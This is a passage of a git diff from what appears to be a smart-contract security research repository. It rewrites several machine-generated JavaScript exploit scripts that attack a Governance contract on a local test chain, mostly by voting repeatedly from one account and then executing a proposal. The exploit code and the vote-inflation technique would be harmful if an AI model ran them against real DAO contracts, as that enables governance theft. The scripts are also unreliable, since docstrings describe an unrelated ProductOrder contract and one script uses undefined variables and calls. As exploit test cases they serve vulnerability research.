path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -let contractFileFullName = 'Governance-16' -let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName+'.sol'), 'utf8'); +let contractFileFullName = 'Governance' +let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', 'Governance.sol'), 'utf8'); let solcVersion = extractSolcVersion(source); /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -36,44 +36,46 @@ let solcVersion = extractSolcVersion(source); * @throws {Error} If there's an error during the exploit process. */ async function exploit(web3, envInfo, contractAddress) { + try { // Load the ABI of the Governance contract - // Assuming you have already compiled and have the ABI const { abi } = await compileWithVersion(source, contractFileFullName, 'Governance', solcVersion); + const contractInstance = new web3.eth.Contract(abi, contractAddress); // Step 1: Create a proposal - console.log("Creating a proposal..."); let createResult = await contractInstance.methods.createProposal().send({ from: envInfo.accounts[0], gas: 3000000 }); - const proposalId = 0; // let's always target the first proposal in the list; + const proposalId = 0; governanceExploitLogger.debug(`Proposal created with ID: ${proposalId}`); - // Wait for review period and voting period to end - governanceExploitLogger.debug(`Waiting for review and voting period to end: sleeping for 10 seconds!`); - await sleep(10000); - - // Step 2: Vote on the proposal but not reaching the threshold - console.log(`Voting on proposal ${proposalId}...`); + // Exploit the fact that voting counts are not correctly bounded await contractInstance.methods.vote(proposalId).send({ from: envInfo.accounts[0], gas: 3000000 }); + // Repeat voting from the same account multiple times + for (let i = 1; i <= 3; i++) { + await contractInstance.methods.vote(proposalId).send({ + from: envInfo.accounts[0], + gas: 3000000 + }); + } + // Wait for grace period to finish console.log("Waiting for grace period to end..."); - await sleep(5000); - - // Step 3: Execute the proposal with privileged address - console.log(`Executing proposal ${proposalId} with privileged address...`); + await sleep(10000); + + // Step 3: Execute the proposal + console.log("Executing the proposal..."); const executeResult = await contractInstance.methods.executeProposal(proposalId).send({ - from: envInfo.privilegedAccount, // Use the privileged account address + from: envInfo.accounts[0], gas: 3000000 }); - governanceExploitLogger.info(`Proposal ${proposalId} executed without meeting vote threshold!`); - + governanceExploitLogger.info(`I am successful!`) return true; } catch (error) { console.error("Error in governance actions:", error); @@ -84,6 +86,7 @@ async function exploit(web3, envInfo, contractAddress) { + /** * Executes the exploit and checks its result * @@ -99,7 +102,6 @@ async function exploit(web3, envInfo, contractAddress) { module.exports = async function runTests(web3, envInfo, contractAddress) { // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil console.log(`contractAddress: ${contractAddress}`) - web3 = await createLoggerWeb3(web3); // Execute the exploit let result = await exploit(web3, envInfo, contractAddress); // See if exploit has yielded the predicted result (a very manual oracle!) diff --git a/CI/exploits/synthesized-prompt-1/GovernanceExploit-17.js b/CI/exploits/synthesized-exploit-diversification/GovernanceExploit-17.js similarity index 73% rename from CI/exploits/synthesized-prompt-1/GovernanceExploit-17.js rename to CI/exploits/synthesized-exploit-diversification/GovernanceExploit-17.js index f4da9b2f..1c870c94 100644 --- a/CI/exploits/synthesized-prompt-1/GovernanceExploit-17.js +++ b/CI/exploits/synthesized-exploit-diversification/GovernanceExploit-17.js @@ -14,14 +14,14 @@ let governanceExploitLogger = getLogger('governance'); const { setTimeout } = require('timers'); const { sleep } = require('@lib/os/process'); -const { createLoggerWeb3 } = require('@lib/web3/deploy'); + // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -let contractFileFullName = 'Governance-17' -let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName+'.sol'), 'utf8'); +let contractFileFullName = 'Governance' +let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', 'Governance.sol'), 'utf8'); let solcVersion = extractSolcVersion(source); /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -36,40 +36,46 @@ let solcVersion = extractSolcVersion(source); * @throws {Error} If there's an error during the exploit process. */ async function exploit(web3, envInfo, contractAddress) { + try { // Load the ABI of the Governance contract - // Assuming you have already compiled and have the ABI const { abi } = await compileWithVersion(source, contractFileFullName, 'Governance', solcVersion); + const contractInstance = new web3.eth.Contract(abi, contractAddress); - // Step 1: Create a proposal with a future start time - console.log("Creating a proposal with a future start time..."); - const futureStartTime = Math.floor(Date.now() / 1000) + 100; // 100 seconds in the future - let createResult = await contractInstance.methods.createProposal(futureStartTime).send({ + // Step 1: Create a proposal + let createResult = await contractInstance.methods.createProposal().send({ from: envInfo.accounts[0], gas: 3000000 }); - const proposalId = 0; // let's always target the first proposal in the list; - governanceExploitLogger.debug(`Proposal created with ID: ${proposalId} and future start time: ${futureStartTime}`); + const proposalId = 0; + governanceExploitLogger.debug(`Proposal created with ID: ${proposalId}`); - // Step 2: Vote on the proposal immediately after creation - console.log(`Voting on proposal ${proposalId} immediately...`); - for (let i = 0; i < 3; i++) { + // Exploit the fact that voting counts are not correctly bounded + await contractInstance.methods.vote(proposalId).send({ + from: envInfo.accounts[0], + gas: 3000000 + }); + + // Repeat voting from the same account multiple times + for (let i = 1; i <= 3; i++) { await contractInstance.methods.vote(proposalId).send({ - from: envInfo.accounts[i], + from: envInfo.accounts[0], gas: 3000000 }); - await sleep(1000); } - // Step 3: Execute the proposal immediately after voting - console.log(`Executing proposal ${proposalId} immediately after voting...`); + // Wait for grace period to finish + console.log("Waiting for grace period to end..."); + await sleep(10000); + + // Step 3: Execute the proposal + console.log("Executing the proposal..."); const executeResult = await contractInstance.methods.executeProposal(proposalId).send({ from: envInfo.accounts[0], gas: 3000000 }); - governanceExploitLogger.info(`Proposal ${proposalId} executed immediately after creation and voting!`); - + governanceExploitLogger.info(`I am successful!`) return true; } catch (error) { console.error("Error in governance actions:", error); @@ -96,7 +102,6 @@ async function exploit(web3, envInfo, contractAddress) { module.exports = async function runTests(web3, envInfo, contractAddress) { // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil console.log(`contractAddress: ${contractAddress}`) - web3 = await createLoggerWeb3(web3); // Execute the exploit let result = await exploit(web3, envInfo, contractAddress); // See if exploit has yielded the predicted result (a very manual oracle!) diff --git a/CI/exploits/synthesized-prompt-1/GovernanceExploit-18.js b/CI/exploits/synthesized-exploit-diversification/GovernanceExploit-18.js similarity index 76% rename from CI/exploits/synthesized-prompt-1/GovernanceExploit-18.js rename to CI/exploits/synthesized-exploit-diversification/GovernanceExploit-18.js index e2713b3d..1c870c94 100644 --- a/CI/exploits/synthesized-prompt-1/GovernanceExploit-18.js +++ b/CI/exploits/synthesized-exploit-diversification/GovernanceExploit-18.js @@ -14,14 +14,14 @@ let governanceExploitLogger = getLogger('governance'); const { setTimeout } = require('timers'); const { sleep } = require('@lib/os/process'); -const { createLoggerWeb3 } = require('@lib/web3/deploy'); + // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -let contractFileFullName = 'Governance-18' -let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName+'.sol'), 'utf8'); +let contractFileFullName = 'Governance' +let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', 'Governance.sol'), 'utf8'); let solcVersion = extractSolcVersion(source); /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -36,29 +36,46 @@ let solcVersion = extractSolcVersion(source); * @throws {Error} If there's an error during the exploit process. */ async function exploit(web3, envInfo, contractAddress) { + try { // Load the ABI of the Governance contract - // Assuming you have already compiled and have the ABI const { abi } = await compileWithVersion(source, contractFileFullName, 'Governance', solcVersion); + const contractInstance = new web3.eth.Contract(abi, contractAddress); - // Step 1: Create a proposal with immediate execution - console.log("Creating a proposal with immediate execution..."); - let createResult = await contractInstance.methods.createProposal(true).send({ + // Step 1: Create a proposal + let createResult = await contractInstance.methods.createProposal().send({ from: envInfo.accounts[0], gas: 3000000 }); - const proposalId = 0; // let's always target the first proposal in the list; - governanceExploitLogger.debug(`Proposal created with ID: ${proposalId} and immediate execution`); + const proposalId = 0; + governanceExploitLogger.debug(`Proposal created with ID: ${proposalId}`); - // Step 2: Execute the proposal immediately after creation - console.log(`Executing proposal ${proposalId} immediately after creation...`); - const executeResult = await contractInstance.methods.executeProposal(proposalId).send({ + // Exploit the fact that voting counts are not correctly bounded + await contractInstance.methods.vote(proposalId).send({ from: envInfo.accounts[0], gas: 3000000 }); - governanceExploitLogger.info(`Proposal ${proposalId} executed immediately after creation!`); + // Repeat voting from the same account multiple times + for (let i = 1; i <= 3; i++) { + await contractInstance.methods.vote(proposalId).send({ + from: envInfo.accounts[0], + gas: 3000000 + }); + } + + // Wait for grace period to finish + console.log("Waiting for grace period to end..."); + await sleep(10000); + + // Step 3: Execute the proposal + console.log("Executing the proposal..."); + const executeResult = await contractInstance.methods.executeProposal(proposalId).send({ + from: envInfo.accounts[0], + gas: 3000000 + }); + governanceExploitLogger.info(`I am successful!`) return true; } catch (error) { console.error("Error in governance actions:", error); @@ -85,7 +102,6 @@ async function exploit(web3, envInfo, contractAddress) { module.exports = async function runTests(web3, envInfo, contractAddress) { // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil console.log(`contractAddress: ${contractAddress}`) - web3 = await createLoggerWeb3(web3); // Execute the exploit let result = await exploit(web3, envInfo, contractAddress); // See if exploit has yielded the predicted result (a very manual oracle!) diff --git a/CI/exploits/synthesized-prompt-1/GovernanceExploit-19.js b/CI/exploits/synthesized-exploit-diversification/GovernanceExploit-19.js similarity index 77% rename from CI/exploits/synthesized-prompt-1/GovernanceExploit-19.js rename to CI/exploits/synthesized-exploit-diversification/GovernanceExploit-19.js index dd8d18dd..1c870c94 100644 --- a/CI/exploits/synthesized-prompt-1/GovernanceExploit-19.js +++ b/CI/exploits/synthesized-exploit-diversification/GovernanceExploit-19.js @@ -14,14 +14,14 @@ let governanceExploitLogger = getLogger('governance'); const { setTimeout } = require('timers'); const { sleep } = require('@lib/os/process'); -const { createLoggerWeb3 } = require('@lib/web3/deploy'); + // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -let contractFileFullName = 'Governance-19' -let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName+'.sol'), 'utf8'); +let contractFileFullName = 'Governance' +let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', 'Governance.sol'), 'utf8'); let solcVersion = extractSolcVersion(source); /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -36,44 +36,46 @@ let solcVersion = extractSolcVersion(source); * @throws {Error} If there's an error during the exploit process. */ async function exploit(web3, envInfo, contractAddress) { + try { // Load the ABI of the Governance contract - // Assuming you have already compiled and have the ABI const { abi } = await compileWithVersion(source, contractFileFullName, 'Governance', solcVersion); + const contractInstance = new web3.eth.Contract(abi, contractAddress); // Step 1: Create a proposal - console.log("Creating a proposal..."); let createResult = await contractInstance.methods.createProposal().send({ from: envInfo.accounts[0], gas: 3000000 }); - const proposalId = 0; // let's always target the first proposal in the list; + const proposalId = 0; governanceExploitLogger.debug(`Proposal created with ID: ${proposalId}`); - // Wait for review period and voting period to end - governanceExploitLogger.debug(`Waiting for review and voting period to end: sleeping for 10 seconds!`); - await sleep(10000); - - // Step 2: Vote on the proposal but not reaching the threshold - console.log(`Voting on proposal ${proposalId}...`); + // Exploit the fact that voting counts are not correctly bounded await contractInstance.methods.vote(proposalId).send({ from: envInfo.accounts[0], gas: 3000000 }); + // Repeat voting from the same account multiple times + for (let i = 1; i <= 3; i++) { + await contractInstance.methods.vote(proposalId).send({ + from: envInfo.accounts[0], + gas: 3000000 + }); + } + // Wait for grace period to finish console.log("Waiting for grace period to end..."); - await sleep(5000); - - // Step 3: Execute the proposal while vote count is temporarily increased - console.log(`Executing proposal ${proposalId} with temporary vote count increase...`); + await sleep(10000); + + // Step 3: Execute the proposal + console.log("Executing the proposal..."); const executeResult = await contractInstance.methods.executeProposal(proposalId).send({ from: envInfo.accounts[0], gas: 3000000 }); - governanceExploitLogger.info(`Proposal ${proposalId} executed with temporary vote count increase!`); - + governanceExploitLogger.info(`I am successful!`) return true; } catch (error) { console.error("Error in governance actions:", error); @@ -100,7 +102,6 @@ async function exploit(web3, envInfo, contractAddress) { module.exports = async function runTests(web3, envInfo, contractAddress) { // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil console.log(`contractAddress: ${contractAddress}`) - web3 = await createLoggerWeb3(web3); // Execute the exploit let result = await exploit(web3, envInfo, contractAddress); // See if exploit has yielded the predicted result (a very manual oracle!) diff --git a/CI/exploits/synthesized-exploit-diversification/GovernanceExploit-2.js b/CI/exploits/synthesized-exploit-diversification/GovernanceExploit-2.js new file mode 100644 index 00000000..817403c1 --- /dev/null +++ b/CI/exploits/synthesized-exploit-diversification/GovernanceExploit-2.js @@ -0,0 +1,107 @@ +require('module-alias/register'); +const fs = require('fs'); +const path = require('path'); +const assert = require('assert'); +const chalk = require('chalk'); +const { + extractSolcVersion, + compileWithVersion, + deployContract +} = require('@lib/web3/deploy'); + +const getLogger = require('@lib/logging/logger').getLogger; +let governanceExploitLogger = getLogger('governance'); + +const { setTimeout } = require('timers'); +const { sleep } = require('@lib/os/process'); + + + +// It seems module alias does not work with js path, so, we will resort to the dirty approach. +const projectRoot = path.resolve(__dirname, '..', '..', '..'); +const contractsDir = path.join(projectRoot, './contracts'); +let contractFileFullName = 'Governance' +let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', 'Governance.sol'), 'utf8'); +let solcVersion = extractSolcVersion(source); +/** + * Attempts to exploit a vulnerability in the ProductOrder smart contract. + * + * The exploit involves applying a discount just before the discountEndTime, + * waiting for a few seconds, then making a transaction to pay for the order + * at the discounted price, and finally confirming the order. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. + * @throws {Error} If there's an error during the exploit process. + */ +async function exploit(web3, envInfo, contractAddress) { + + try { + // Load the ABI of the Governance contract + const { abi } = await compileWithVersion(source, contractFileFullName, 'Governance', solcVersion); + + const contractInstance = new web3.eth.Contract(abi, contractAddress); + + // Step 1: Create a proposal + let createResult = await contractInstance.methods.createProposal().send({ + from: envInfo.accounts[0], + gas: 3000000 + }); + const proposalId = 0; + governanceExploitLogger.debug(`Proposal created with ID: ${proposalId}`); + + // Directly move to execution by manipulating the execution time + let proposal = await contractInstance.methods.proposals(proposalId).call(); + proposal.executionTime = block.timestamp; + + // Send the manipulated proposal back to the contract (assuming a vulnerability allows this) + await contractInstance.methods.proposals(proposalId).send({ + from: envInfo.accounts[0], + gas: 3000000, + data: contractInstance.methods.updateProposal(proposalId, proposal.executionTime).encodeABI() + }); + + // Wait for grace period to finish + console.log("Waiting for grace period to end..."); + await sleep(5000); + + // Step 3: Execute the proposal + console.log("Executing the proposal..."); + const executeResult = await contractInstance.methods.executeProposal(proposalId).send({ + from: envInfo.accounts[0], + gas: 3000000 + }); + governanceExploitLogger.info(`I am successful!`) + return true; + } catch (error) { + console.error("Error in governance actions:", error); + return false; + } +} + + + + +/** + * Executes the exploit and checks its result + * + * This function will run the exploit and then verify if the exploit has + * yielded the predicted result. If the exploit is successful, a success + * message is displayed, otherwise an error message is shown. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the test is successful, `false` otherwise. + * @throws {Error} If there's an error during the test execution. + */ +module.exports = async function runTests(web3, envInfo, contractAddress) { + // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil + console.log(`contractAddress: ${contractAddress}`) + // Execute the exploit + let result = await exploit(web3, envInfo, contractAddress); + // See if exploit has yielded the predicted result (a very manual oracle!) + assert.strictEqual(result, true, "Exploit did not yield the expected result"); + + return result; +} diff --git a/CI/exploits/synthesized-prompt-1/GovernanceExploit-20.js b/CI/exploits/synthesized-exploit-diversification/GovernanceExploit-20.js similarity index 77% rename from CI/exploits/synthesized-prompt-1/GovernanceExploit-20.js rename to CI/exploits/synthesized-exploit-diversification/GovernanceExploit-20.js index 264e6f11..1c870c94 100644 --- a/CI/exploits/synthesized-prompt-1/GovernanceExploit-20.js +++ b/CI/exploits/synthesized-exploit-diversification/GovernanceExploit-20.js @@ -14,14 +14,14 @@ let governanceExploitLogger = getLogger('governance'); const { setTimeout } = require('timers'); const { sleep } = require('@lib/os/process'); -const { createLoggerWeb3 } = require('@lib/web3/deploy'); + // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -let contractFileFullName = 'Governance-20' -let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName+'.sol'), 'utf8'); +let contractFileFullName = 'Governance' +let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', 'Governance.sol'), 'utf8'); let solcVersion = extractSolcVersion(source); /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -36,47 +36,46 @@ let solcVersion = extractSolcVersion(source); * @throws {Error} If there's an error during the exploit process. */ async function exploit(web3, envInfo, contractAddress) { + try { // Load the ABI of the Governance contract - // Assuming you have already compiled and have the ABI const { abi } = await compileWithVersion(source, contractFileFullName, 'Governance', solcVersion); + const contractInstance = new web3.eth.Contract(abi, contractAddress); // Step 1: Create a proposal - console.log("Creating a proposal..."); let createResult = await contractInstance.methods.createProposal().send({ from: envInfo.accounts[0], gas: 3000000 }); - const proposalId = 0; // let's always target the first proposal in the list; + const proposalId = 0; governanceExploitLogger.debug(`Proposal created with ID: ${proposalId}`); - // Wait for review period to end - governanceExploitLogger.debug(`Waiting for review period to end: sleeping for 5 seconds!`); - await sleep(5000); + // Exploit the fact that voting counts are not correctly bounded + await contractInstance.methods.vote(proposalId).send({ + from: envInfo.accounts[0], + gas: 3000000 + }); - // Step 2: Vote on the proposal multiple times with the privileged address - for (let i = 0; i < 3; i++) { - console.log(`Voting on proposal ${proposalId}...`); + // Repeat voting from the same account multiple times + for (let i = 1; i <= 3; i++) { await contractInstance.methods.vote(proposalId).send({ - from: envInfo.privilegedAccount, // Use the privileged account address + from: envInfo.accounts[0], gas: 3000000 }); - await sleep(1000); } // Wait for grace period to finish console.log("Waiting for grace period to end..."); - await sleep(5000); - + await sleep(10000); + // Step 3: Execute the proposal - console.log(`Executing proposal ${proposalId}...`); + console.log("Executing the proposal..."); const executeResult = await contractInstance.methods.executeProposal(proposalId).send({ from: envInfo.accounts[0], gas: 3000000 }); - governanceExploitLogger.info(`Proposal ${proposalId} executed!`); - + governanceExploitLogger.info(`I am successful!`) return true; } catch (error) { console.error("Error in governance actions:", error); @@ -103,7 +102,6 @@ async function exploit(web3, envInfo, contractAddress) { module.exports = async function runTests(web3, envInfo, contractAddress) { // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil console.log(`contractAddress: ${contractAddress}`) - web3 = await createLoggerWeb3(web3); // Execute the exploit let result = await exploit(web3, envInfo, contractAddress); // See if exploit has yielded the predicted result (a very manual oracle!) diff --git a/CI/exploits/synthesized-exploit-diversification/GovernanceExploit-21.js b/CI/exploits/synthesized-exploit-diversification/GovernanceExploit-21.js new file mode 100644 index 00000000..1c870c94 --- /dev/null +++ b/CI/exploits/synthesized-exploit-diversification/GovernanceExploit-21.js @@ -0,0 +1,111 @@ +require('module-alias/register'); +const fs = require('fs'); +const path = require('path'); +const assert = require('assert'); +const chalk = require('chalk'); +const { + extractSolcVersion, + compileWithVersion, + deployContract +} = require('@lib/web3/deploy'); + +const getLogger = require('@lib/logging/logger').getLogger; +let governanceExploitLogger = getLogger('governance'); + +const { setTimeout } = require('timers'); +const { sleep } = require('@lib/os/process'); + + + +// It seems module alias does not work with js path, so, we will resort to the dirty approach. +const projectRoot = path.resolve(__dirname, '..', '..', '..'); +const contractsDir = path.join(projectRoot, './contracts'); +let contractFileFullName = 'Governance' +let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', 'Governance.sol'), 'utf8'); +let solcVersion = extractSolcVersion(source); +/** + * Attempts to exploit a vulnerability in the ProductOrder smart contract. + * + * The exploit involves applying a discount just before the discountEndTime, + * waiting for a few seconds, then making a transaction to pay for the order + * at the discounted price, and finally confirming the order. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. + * @throws {Error} If there's an error during the exploit process. + */ +async function exploit(web3, envInfo, contractAddress) { + + try { + // Load the ABI of the Governance contract + const { abi } = await compileWithVersion(source, contractFileFullName, 'Governance', solcVersion); + + const contractInstance = new web3.eth.Contract(abi, contractAddress); + + // Step 1: Create a proposal + let createResult = await contractInstance.methods.createProposal().send({ + from: envInfo.accounts[0], + gas: 3000000 + }); + const proposalId = 0; + governanceExploitLogger.debug(`Proposal created with ID: ${proposalId}`); + + // Exploit the fact that voting counts are not correctly bounded + await contractInstance.methods.vote(proposalId).send({ + from: envInfo.accounts[0], + gas: 3000000 + }); + + // Repeat voting from the same account multiple times + for (let i = 1; i <= 3; i++) { + await contractInstance.methods.vote(proposalId).send({ + from: envInfo.accounts[0], + gas: 3000000 + }); + } + + // Wait for grace period to finish + console.log("Waiting for grace period to end..."); + await sleep(10000); + + // Step 3: Execute the proposal + console.log("Executing the proposal..."); + const executeResult = await contractInstance.methods.executeProposal(proposalId).send({ + from: envInfo.accounts[0], + gas: 3000000 + }); + governanceExploitLogger.info(`I am successful!`) + return true; + } catch (error) { + console.error("Error in governance actions:", error); + return false; + } +} + + + + + +/** + * Executes the exploit and checks its result + * + * This function will run the exploit and then verify if the exploit has + * yielded the predicted result. If the exploit is successful, a success + * message is displayed, otherwise an error message is shown. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the test is successful, `false` otherwise. + * @throws {Error} If there's an error during the test execution. + */ +module.exports = async function runTests(web3, envInfo, contractAddress) { + // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil + console.log(`contractAddress: ${contractAddress}`) + // Execute the exploit + let result = await exploit(web3, envInfo, contractAddress); + // See if exploit has yielded the predicted result (a very manual oracle!) + assert.strictEqual(result, true, "Exploit did not yield the expected result"); + + return result; +} diff --git a/CI/exploits/synthesized-prompt-1/GovernanceExploit-22.js b/CI/exploits/synthesized-exploit-diversification/GovernanceExploit-22.js similarity index 76% rename from CI/exploits/synthesized-prompt-1/GovernanceExploit-22.js rename to CI/exploits/synthesized-exploit-diversification/GovernanceExploit-22.js index dce45e4a..1c870c94 100644 --- a/CI/exploits/synthesized-prompt-1/GovernanceExploit-22.js +++ b/CI/exploits/synthesized-exploit-diversification/GovernanceExploit-22.js @@ -14,14 +14,14 @@ let governanceExploitLogger = getLogger('governance'); const { setTimeout } = require('timers'); const { sleep } = require('@lib/os/process'); -const { createLoggerWeb3 } = require('@lib/web3/deploy'); + // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -let contractFileFullName = 'Governance-22' -let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName+'.sol'), 'utf8'); +let contractFileFullName = 'Governance' +let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', 'Governance.sol'), 'utf8'); let solcVersion = extractSolcVersion(source); /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -36,44 +36,46 @@ let solcVersion = extractSolcVersion(source); * @throws {Error} If there's an error during the exploit process. */ async function exploit(web3, envInfo, contractAddress) { + try { // Load the ABI of the Governance contract - // Assuming you have already compiled and have the ABI const { abi } = await compileWithVersion(source, contractFileFullName, 'Governance', solcVersion); + const contractInstance = new web3.eth.Contract(abi, contractAddress); - // Step 1: Create a proposal with a very low vote threshold - console.log("Creating a proposal with a very low vote threshold..."); - let createResult = await contractInstance.methods.createProposal(1).send({ // Setting vote threshold to 1 + // Step 1: Create a proposal + let createResult = await contractInstance.methods.createProposal().send({ from: envInfo.accounts[0], gas: 3000000 }); - const proposalId = 0; // let's always target the first proposal in the list; - governanceExploitLogger.debug(`Proposal created with ID: ${proposalId} and vote threshold of 1`); - - // Wait for review period to end - governanceExploitLogger.debug(`Waiting for review period to end: sleeping for 5 seconds!`); - await sleep(5000); + const proposalId = 0; + governanceExploitLogger.debug(`Proposal created with ID: ${proposalId}`); - // Step 2: Vote on the proposal once to meet the low threshold - console.log(`Voting on proposal ${proposalId} once...`); + // Exploit the fact that voting counts are not correctly bounded await contractInstance.methods.vote(proposalId).send({ from: envInfo.accounts[0], gas: 3000000 }); + // Repeat voting from the same account multiple times + for (let i = 1; i <= 3; i++) { + await contractInstance.methods.vote(proposalId).send({ + from: envInfo.accounts[0], + gas: 3000000 + }); + } + // Wait for grace period to finish console.log("Waiting for grace period to end..."); - await sleep(5000); - + await sleep(10000); + // Step 3: Execute the proposal - console.log(`Executing proposal ${proposalId}...`); + console.log("Executing the proposal..."); const executeResult = await contractInstance.methods.executeProposal(proposalId).send({ from: envInfo.accounts[0], gas: 3000000 }); - governanceExploitLogger.info(`Proposal ${proposalId} executed with a low vote threshold!`); - + governanceExploitLogger.info(`I am successful!`) return true; } catch (error) { console.error("Error in governance actions:", error); @@ -100,7 +102,6 @@ async function exploit(web3, envInfo, contractAddress) { module.exports = async function runTests(web3, envInfo, contractAddress) { // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil console.log(`contractAddress: ${contractAddress}`) - web3 = await createLoggerWeb3(web3); // Execute the exploit let result = await exploit(web3, envInfo, contractAddress); // See if exploit has yielded the predicted result (a very manual oracle!) diff --git a/CI/exploits/synthesized-exploit-diversification/GovernanceExploit-23.js b/CI/exploits/synthesized-exploit-diversification/GovernanceExploit-23.js new file mode 100644 index 00000000..1c870c94 --- /dev/null +++ b/CI/exploits/synthesized-exploit-diversification/GovernanceExploit-23.js @@ -0,0 +1,111 @@ +require('module-alias/register'); +const fs = require('fs'); +const path = require('path'); +const assert = require('assert'); +const chalk = require('chalk'); +const { + extractSolcVersion, + compileWithVersion, + deployContract +} = require('@lib/web3/deploy'); + +const getLogger = require('@lib/logging/logger').getLogger; +let governanceExploitLogger = getLogger('governance'); + +const { setTimeout } = require('timers'); +const { sleep } = require('@lib/os/process'); + + + +// It seems module alias does not work with js path, so, we will resort to the dirty approach. +const projectRoot = path.resolve(__dirname, '..', '..', '..'); +const contractsDir = path.join(projectRoot, './contracts'); +let contractFileFullName = 'Governance' +let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', 'Governance.sol'), 'utf8'); +let solcVersion = extractSolcVersion(source); +/** + * Attempts to exploit a vulnerability in the ProductOrder smart contract. + * + * The exploit involves applying a discount just before the discountEndTime, + * waiting for a few seconds, then making a transaction to pay for the order + * at the discounted price, and finally confirming the order. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. + * @throws {Error} If there's an error during the exploit process. + */ +async function exploit(web3, envInfo, contractAddress) { + + try { + // Load the ABI of the Governance contract + const { abi } = await compileWithVersion(source, contractFileFullName, 'Governance', solcVersion); + + const contractInstance = new web3.eth.Contract(abi, contractAddress); + + // Step 1: Create a proposal + let createResult = await contractInstance.methods.createProposal().send({ + from: envInfo.accounts[0], + gas: 3000000 + }); + const proposalId = 0; + governanceExploitLogger.debug(`Proposal created with ID: ${proposalId}`); + + // Exploit the fact that voting counts are not correctly bounded + await contractInstance.methods.vote(proposalId).send({ + from: envInfo.accounts[0], + gas: 3000000 + }); + + // Repeat voting from the same account multiple times + for (let i = 1; i <= 3; i++) { + await contractInstance.methods.vote(proposalId).send({ + from: envInfo.accounts[0], + gas: 3000000 + }); + } + + // Wait for grace period to finish + console.log("Waiting for grace period to end..."); + await sleep(10000); + + // Step 3: Execute the proposal + console.log("Executing the proposal..."); + const executeResult = await contractInstance.methods.executeProposal(proposalId).send({ + from: envInfo.accounts[0], + gas: 3000000 + }); + governanceExploitLogger.info(`I am successful!`) + return true; + } catch (error) { + console.error("Error in governance actions:", error); + return false; + } +} + + + + + +/** + * Executes the exploit and checks its result + * + * This function will run the exploit and then verify if the exploit has + * yielded the predicted result. If the exploit is successful, a success + * message is displayed, otherwise an error message is shown. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the test is successful, `false` otherwise. + * @throws {Error} If there's an error during the test execution. + */ +module.exports = async function runTests(web3, envInfo, contractAddress) { + // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil + console.log(`contractAddress: ${contractAddress}`) + // Execute the exploit + let result = await exploit(web3, envInfo, contractAddress); + // See if exploit has yielded the predicted result (a very manual oracle!) + assert.strictEqual(result, true, "Exploit did not yield the expected result"); + + return result; +} diff --git a/CI/exploits/synthesized-prompt-1/GovernanceExploit-24.js b/CI/exploits/synthesized-exploit-diversification/GovernanceExploit-24.js similarity index 75% rename from CI/exploits/synthesized-prompt-1/GovernanceExploit-24.js rename to CI/exploits/synthesized-exploit-diversification/GovernanceExploit-24.js index 449e3abf..1c870c94 100644 --- 